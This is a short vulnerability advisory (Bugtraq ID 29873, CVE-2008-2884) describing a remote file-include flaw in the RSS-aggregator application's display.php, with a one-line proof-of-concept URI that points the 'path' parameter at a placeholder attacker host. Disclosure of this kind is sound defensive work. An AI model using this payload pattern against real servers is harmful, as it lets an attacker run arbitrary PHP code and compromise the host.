RSS-aggregator 'display.php' Remote File Include Vulnerability

BID:29873

Info

RSS-aggregator 'display.php' Remote File Include Vulnerability

Bugtraq ID: 29873
Class: Input Validation Error
CVE: CVE-2008-2884
Remote: Yes
Local: No
Published: Jun 22 2008 12:00AM
Updated: May 07 2015 05:28PM
Credit: Ghost Hacker
Vulnerable: RSS-aggregator RSS-aggregator 0
Not Vulnerable:

Discussion

RSS-aggregator 'display.php' Remote File Include Vulnerability

RSS-aggregator is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Exploit / POC

RSS-aggregator 'display.php' Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/[Path]/display.php?path=[EVIL]

Solution / Fix

RSS-aggregator 'display.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

RSS-aggregator 'display.php' Remote File Include Vulnerability

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